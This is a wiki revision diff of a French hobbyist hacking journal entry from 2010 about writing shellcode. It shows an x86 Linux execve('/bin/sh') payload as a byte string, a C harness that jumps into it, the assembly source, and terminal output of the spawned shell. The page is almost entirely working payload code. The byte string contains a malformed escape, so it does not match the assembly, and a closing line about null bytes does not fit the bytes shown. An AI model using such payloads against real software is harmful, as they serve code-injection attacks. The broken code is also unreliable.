|
|
Ligne 1 : |
Ligne 1 : |
| <h2>Shellcoding</h2>
| | updating..... |
| | |
| <p>
| |
| <b><u>Vendredi 18 juin 2010 :</u></b><br />
| |
| Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br />
| |
| | |
| hiteck@hiteck:~/Bureau/exploits$ cat exploit.c<br />
| |
| | |
| /************************************************************************<br />
| |
| * Shellcode cree par hit3ck *<br />
| |
| * Pour tous renseignement : *<br />
| |
| *http://wiki.hackbbs.org/index.php/Journal_intrusion_systeme_by_hit3ck *<br />
| |
| * Disponible sur les canals de #hackbbs et #hzv *<br />
| |
| *************************************************************************/<br />
| |
| | |
| #include <stdio.h><br />
| |
| | |
| char shellcode[] = "\x31\xc0\31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";<br /><br />
| |
| | |
| int main(void)<br />
| |
| {<br />
| |
| printf("***********************\n");<br />
| |
| printf("* Shellcode by hit3ck *\n");<br />
| |
| printf("***********************\n");<br />
| |
| printf("* taille : %d *\n",sizeof(shellcode)-1);<br />
| |
| printf("***********************\n");<br />
| |
| (*(void(*)()) shellcode)();<br />
| |
| }<br /><br />
| |
| hiteck@hiteck:~/Bureau/exploits$ cat shell.s<br />
| |
| main:<br />
| |
| xorl %eax,%eax<br />
| |
| xorl %edx,%edx<br />
| |
| push %edx<br />
| |
| push $0x68732f6e<br />
| |
| push $0x69622f2f<br />
| |
| mov %esp,%ebx<br />
| |
| push %edx<br />
| |
| push %ebx<br />
| |
| mov %esp,%ecx<br />
| |
| mov $11,%al<br />
| |
| int $0x80<br />
| |
| | |
| hiteck@hiteck:~/Bureau/exploits$ ./exploit<br />
| |
| ***********************<br />
| |
| * Shellcode by hit3ck *<br />
| |
| ***********************<br />
| |
| * taille : 25 *<br />
| |
| ***********************<br />
| |
| $ whoami<br />
| |
| hiteck<br />
| |
| $ echo "Shellcode reussi :-D"<br />
| |
| Shellcode reussi :-D<br />
| |
| $ exit<br />
| |
| hiteck@hiteck:~/Bureau/exploits$ <br /><br />
| |
| | |
| A la prochaine :-D
| |
| <br /><br />
| |
| <b><u>LE shellcode est rempli de null bytes</u></b>
| |
| </p>
| |